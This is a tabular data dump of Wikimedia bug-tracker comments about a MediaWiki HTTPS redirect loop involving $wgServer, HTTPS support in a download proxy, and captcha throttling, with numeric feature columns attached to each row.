If wgServer is set to a protocol-relative url, then it will (obviously) not do that.",,,1349147297,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,1.5,1.5,1.5,0.0,0.5,0.0,2.5,1.5,1.5,0.0,0.5,0.5,0.5,0.5,5.5,11.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,8.0,2.5,3.5,2.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,3.0,3.0,13.5,3.5,1.0,5.5,0.0,0.0,0.0,1.0,6.0,0.0,1.5,0.0,5.0,11.0,6.5,0.5,0.0,0.0,5.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,3.3805465765501026,0.641933588010579,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

If your server supports HTTPS and redirects HTTP to HTTPS, why set $wgServer to an HTTP protocol? I'd say set it to HTTPS, or protocol-relative if you want to support both. This doesn't make sense..

wfExpandUrl only expands the url, never changes it. If it contains http:// that is left alone, because users tend to set http for a reason, indicating it doesn't support https. Otherwise there is no reason to set it to http. 

(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is, if $wgServer is set to a URL

If wgServer is set to a protocol-relative url, then it will (obviously) not do that."
189623,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #6)
> I guess I'm the only one in favor of killing $wgServer altogether?
> 
> I think a situation in which you have two variables—$wgHTTPServer and
> $wgHTTPSServer—in which you explicitly define the secure and non-secure
> canonical URL versions would be better from a wiki administration perspective
> and a coding perspective. The protocol-relative magic feels very fragile to me.
> 
Well, you're not the only one in favor of having better configurability for what the HTTP and what the HTTPS URLs should be. Protocol-relative URLs are a useful tool to increase cache effectiveness if the http and the https URLs happen to be identical except for the 's', like on the post-secure.wm.o WMF cluster and presumably in most sane 3rd-party setups that support both HTTP and HTTPS. The way the code currently works that's also the *only* way you'll be able to avoid random cache pollution; if we wanted to support the HTTP and HTTPS URLs being different, work would have to be done to split the parser cache based on secure-ness if the HTTP and HTTPS URLs differ. However, we need to retain the ability to not split the cache and use protocol-relative URLs instead, otherwise WMF's parser cache would double in size.

> I'm honestly not quite sure how disruptive trying to kill $wgServer would be,
> though.
Very. The reason things are the way they are now is precisely because when I implemented this last year, I tried to make my changes minimally disruptive. And they were quite disruptive still, it took me weeks and involved an extensive tour of the skeletons in our closed :) . Messing around with this more would probably take quite a lot of work to clean up all the various assumptions surrounding $wgServer, wfExpandUrl(), Title::getFullURL(), etc.

The way I see it, the only gain to be had here would be that we would support setups where HTTP and HTTPS have different URL patterns (like WMF's setup in the secure.wm.o days). I don't know how common that is; I think most people would want them to be the same when they set up SSL. The only reason that we used a different domain name for HTTPS was because we were running a farm of wikis and hadn't built the required infrastructure to do SSL for all of the domains, with all the load balancing and caching stuff involved. The way we ""solved"" that was by having one domain name that pointed to one, non-load-balanced machine which bypassed the HTTP caches :D (this is why secure was slow), obviously that wasn't scalable.",,,1349147041,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.6,0.0,0.2,0.4,1.0,7.2,3.0,0.4,0.0,0.6,1.8,1.2,0.0,0.8,0.0,2.8,0.2,5.4,9.6,0.0,2.8,0.2,0.0,0.0,3.6,0.6,0.0,0.2,0.0,1.4,0.6,3.2,1.0,0.4,0.4,0.4,0.0,0.0,0.0,0.2,0.0,0.8,0.2,1.2,0.0,0.8,0.2,0.4,0.2,13.6,0.8,0.6,0.2,0.8,0.0,0.2,0.2,0.2,0.4,0.0,0.4,0.8,0.2,0.4,0.4,0.6,0.4,7.0,4.2,10.2,2.4,2.4,9.4,0.0,0.4,0.0,0.2,5.2,0.2,1.0,0.0,4.4,9.6,4.4,0.0,0.6,0.0,4.4,0.0,2.8,1.0,0.4,1.4,0.4,0.4,0.4,3.8831460674157308,0.70561797752809,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Well, you're not the only one in favor of having better configurability for what the HTTP and what the HTTPS URLs should be. Protocol-relative URLs are a useful tool to increase cache effectiveness if the http and the https URLs happen to be identical except for the 's', like on the post-secure.wm.o WMF cluster and presumably in most sane 3rd-party setups that support both HTTP and HTTPS. The way the code currently works that's also the *only* way you'll be able to avoid random cache pollution; if we wanted to support the HTTP and HTTPS URLs being different, work would have to be done to split the parser cache based on secure-ness if the HTTP and HTTPS URLs differ. However, we need to retain the ability to not split the cache and use protocol-relative URLs instead, otherwise WMF's parser cache would double in size.

QUOTE
QUOTE
Very. The reason things are the way they are now is precisely because when I implemented this last year, I tried to make my changes minimally disruptive. And they were quite disruptive still, it took me weeks and involved an extensive tour of the skeletons in our closed :) . Messing around with this more would probably take quite a lot of work to clean up all the various assumptions surrounding $wgServer, wfExpandUrl(), Title::getFullURL(), etc.

The way I see it, the only gain to be had here would be that we would support setups where HTTP and HTTPS have different URL patterns (like WMF's setup in the secure.wm.o days). I don't know how common that is; I think most people would want them to be the same when they set up SSL. The only reason that we used a different domain name for HTTPS was because we were running a farm of wikis and hadn't built the required infrastructure to do SSL for all of the domains, with all the load balancing and caching stuff involved. The way we ""solved"" that was by having one domain name that pointed to one, non-load-balanced machine which bypassed the HTTP caches :D (this is why secure was slow), obviously that wasn't scalable."
189617,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #6)
> I guess I'm the only one in favor of killing $wgServer altogether?
> 
> I think a situation in which you have two variables—$wgHTTPServer and
> $wgHTTPSServer—in which you explicitly define the secure and non-secure
> canonical URL versions would be better from a wiki administration perspective
> and a coding perspective. The protocol-relative magic feels very fragile to me.
> 

There is no need to have two variables. Earlier last year (before we started using relative protocols) this is exactly what we had. By default we set $wgServer = 'http://example.org'; and on the secure servers to https.

The reason we went for protocol-relative instead is because we now serve pages from the main servers, and we want to share the HTML cache. Having two variables solves nothing but introduces a lot of problems. Because that means you'll have to split the cache in a version where the HTML contains http:// everywhere and one with https://, since that is pointless and a problem already solved by the web, we use protocol-relative urls instead starting with //.

The problems we have aren't solved by introducing that, and introducing that pattern is already possible without those 2 variables:

> $wgServer = isHttps() ? 'http://example.org' : 'https://example.org';

We don't need the other value anyway when in the other request type.

Except that we do, which is why we have a canonical protocol for API responses.",,,1349146941,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,0.3333333333333333,1.0,4.333333333333333,1.0,0.6666666666666666,0.0,0.0,2.0,1.6666666666666667,0.0,0.0,0.3333333333333333,4.333333333333333,1.0,5.666666666666667,9.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,7.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,13.666666666666666,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,5.333333333333333,2.6666666666666665,8.333333333333334,3.3333333333333335,2.0,8.333333333333334,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,1.6666666666666667,0.0,4.666666666666667,9.333333333333334,3.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.0,2.0,1.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.0,3.9683098591549295,0.7348721961398018,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There is no need to have two variables. Earlier last year (before we started using relative protocols) this is exactly what we had. By default we set $wgServer = 'URL and on the secure servers to https.

The reason we went for protocol-relative instead is because we now serve pages from the main servers, and we want to share the HTML cache. Having two variables solves nothing but introduces a lot of problems. Because that means you'll have to split the cache in a version where the HTML contains http:// everywhere and one with URL since that is pointless and a problem already solved by the web, we use protocol-relative urls instead starting with //.

The problems we have aren't solved by introducing that, and introducing that pattern is already possible without those 2 variables:

QUOTE

We don't need the other value anyway when in the other request type.

Except that we do, which is why we have a canonical protocol for API responses."
189610,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"I guess I'm the only one in favor of killing $wgServer altogether?

I think a situation in which you have two variables—$wgHTTPServer and $wgHTTPSServer—in which you explicitly define the secure and non-secure canonical URL versions would be better from a wiki administration perspective and a coding perspective. The protocol-relative magic feels very fragile to me.

I'm honestly not quite sure how disruptive trying to kill $wgServer would be, though.",,,1349146160,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,2.0,0.0,1.0,16.0,1.0,0.0,1.0,0.0,3.0,2.0,0.0,1.0,0.0,6.0,0.0,9.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,7.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,8.0,8.0,0.0,1.0,0.0,0.0,8.0,0.0,3.0,3.0,1.0,3.0,1.0,0.0,0.0,4.459770114942529,0.7126436781609196,"I guess I'm the only one in favor of killing $wgServer altogether?

I think a situation in which you have two variables—$wgHTTPServer and $wgHTTPSServer—in which you explicitly define the secure and non-secure canonical URL versions would be better from a wiki administration perspective and a coding perspective. The protocol-relative magic feels very fragile to me.

I'm honestly not quite sure how disruptive trying to kill $wgServer would be, though."
189604,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #2)
> Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
> appearing in articles, even when viewing them over HTTPS?

Yes, almost all links to load.php and api.php urls are full urls that start with http://.",,,1349136463,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.433333333333333,0.8666666666666667,"(In reply to comment #2)
QUOTE
QUOTE

Yes, almost all links to load.php and api.php urls are full urls that start with URL"
189598,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #3)
> (In reply to comment #2)
> > Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
> > appearing in articles, even when viewing them over HTTPS?
> 
> This I have not tested, but note that this bug will only occur if wfExpandUrl()
> is called, meaning if the link is relative (like most link URLs are AFAIK),
> then it won't be a problem.
Sure. But try this (fairly common) code snippet:

[{{fullurl:{{FULLPAGENAME}}|action=edit&section=new}} Add a new section to this page]",,,1349134998,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.4074074074074074,0.6111111111111112,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Sure. But try this (fairly common) code snippet:

[{{fullurl:{{FULLPAGENAME}}|action=edit&section=new}} Add a new section to this page]"
189592,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #2)
> Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
> appearing in articles, even when viewing them over HTTPS?

This I have not tested, but note that this bug will only occur if wfExpandUrl() is called, meaning if the link is relative (like most link URLs are AFAIK), then it won't be a problem.",,,1349134656,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,2.0,4.0,4.0,4.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,12.0,5.0,2.0,7.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.210526315789474,0.8070175438596491,"(In reply to comment #2)
QUOTE
QUOTE

This I have not tested, but note that this bug will only occur if wfExpandUrl() is called, meaning if the link is relative (like most link URLs are AFAIK), then it won't be a problem."
189588,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs appearing in articles, even when viewing them over HTTPS?",,,1349134589,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,12.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,12.0,0.0,0.0,0.0,4.153846153846154,0.8846153846153846,"Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs appearing in articles, even when viewing them over HTTPS?"
189583,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"I believe the answer to this is ""don't set $wgServer to an insecure HTTP URL then"". AFAIK the HTTPS code doesn't support $wgServer values with http as the scheme, although the redirect loop is a nasty failure mode.

Assigning to Chris because he wrote the HTTPS redirection code.",,,1349134540,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,0.0,3.0,2.0,2.0,2.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,14.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.9491525423728815,0.7457627118644068,"I believe the answer to this is ""don't set $wgServer to an insecure HTTP URL then"". AFAIK the HTTPS code doesn't support $wgServer values with http as the scheme, although the redirect loop is a nasty failure mode.

Assigning to Chris because he wrote the HTTPS redirection code."
42596,Cannot download from HTTPS sources using copy upload via url-downloader,"Any attempt to download files from HTTPS sources via url-downloader.wikimedia.org:8080 results in an error: Error fetching URL: Received HTTP code 403 from proxy after CONNECT

I'm guessing this is just because the proxy wasn't setup to allow HTTPS...

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1348850580,1357822584.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-ahjiukxchfsw3d6z4opz,task_description,resolved,True,c2,1,True,False,True,-48,True,2.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,18.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,13.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.629032258064516,0.7419354838709677,"Any attempt to download files from HTTPS sources via url-downloader.wikimedia.org:8080 results in an error: Error fetching URL: Received HTTP code 403 from proxy after CONNECT

I'm guessing this is just because the proxy wasn't setup to allow HTTPS...

--------------------------
**Version**: unspecified
**Severity**: normal"
184049,Cannot download from HTTPS sources using copy upload via url-downloader,"(In reply to comment #4)
> (In reply to comment #3)
> > no requests to hosts within the Wikimedia network.
> 
> Will that be OK for bug 42473?

No, but that seems unrelated to this bug. Access to Wikimedia hosts was and remains blocked, for security reasons. We may be able to open it up to specific destinations to resolve bug 42473, but that requires additional work, and is not blocked on this ticket.",,,1357822584,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,14.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,6.0,6.0,0.0,0.0,0.0,1.0,6.0,0.0,3.0,0.0,3.0,14.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7285714285714286,0.6857142857142857,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

No, but that seems unrelated to this bug. Access to Wikimedia hosts was and remains blocked, for security reasons. We may be able to open it up to specific destinations to resolve bug 42473, but that requires additional work, and is not blocked on this ticket."
184044,Cannot download from HTTPS sources using copy upload via url-downloader,Reopened per comment 4.,,,1357778999,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Reopened per comment 4.
184038,Cannot download from HTTPS sources using copy upload via url-downloader,"(In reply to comment #3)
> no requests to hosts within the Wikimedia network.

Will that be OK for bug 42473?",,,1357757528,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.736842105263158,1.0,"(In reply to comment #3)
QUOTE

Will that be OK for bug 42473?"
184032,Cannot download from HTTPS sources using copy upload via url-downloader,"The url-downloader proxy has been configured to allow HTTPS (CONNECT) requests, to port 443 only, and as before, only from hosts in the Wikimedia network, and no requests to hosts within the Wikimedia network.",,,1357746945,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.093023255813954,0.7209302325581395,"The url-downloader proxy has been configured to allow HTTPS (CONNECT) requests, to port 443 only, and as before, only from hosts in the Wikimedia network, and no requests to hosts within the Wikimedia network."
184023,Cannot download from HTTPS sources using copy upload via url-downloader,Seems to be a show stopper for https://bugzilla.wikimedia.org/show_bug.cgi?id=42473,,,1355568968,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Seems to be a show stopper for URL
184013,Cannot download from HTTPS sources using copy upload via url-downloader,https://rt.wikimedia.org/Ticket/Display.html?id=4075,,,1355265939,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
42496,Other actions beside login should be throttled based on failed captcha attempts,"Just like we have $wgCaptchaBadLoginAttempts, there should be a config array maximum attempts for other $wgCaptchaTriggers. Without this, guessing and building canned answer libraries becomes easier (though $wgCaptchaDeleteOnSolve helps).

--------------------------
**Version**: master
**Severity**: enhancement",Medium,50.0,1348531140,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,False,PHID-TASK-vg26sfirxv3pffdhwxha,task_description,open,True,c2,1,False,False,,-49,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,5.035714285714286,0.7678571428571429,"Just like we have $wgCaptchaBadLoginAttempts, there should be a config array maximum attempts for other $wgCaptchaTriggers. Without this, guessing and building canned answer libraries becomes easier (though $wgCaptchaDeleteOnSolve helps).

--------------------------
**Version**: master
**Severity**: enhancement"
202747,Other actions beside login should be throttled based on failed captcha attempts,*** Bug 47740 has been marked as a duplicate of this bug. ***,,,1367609656,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47740 has been marked as a duplicate of this bug. ***
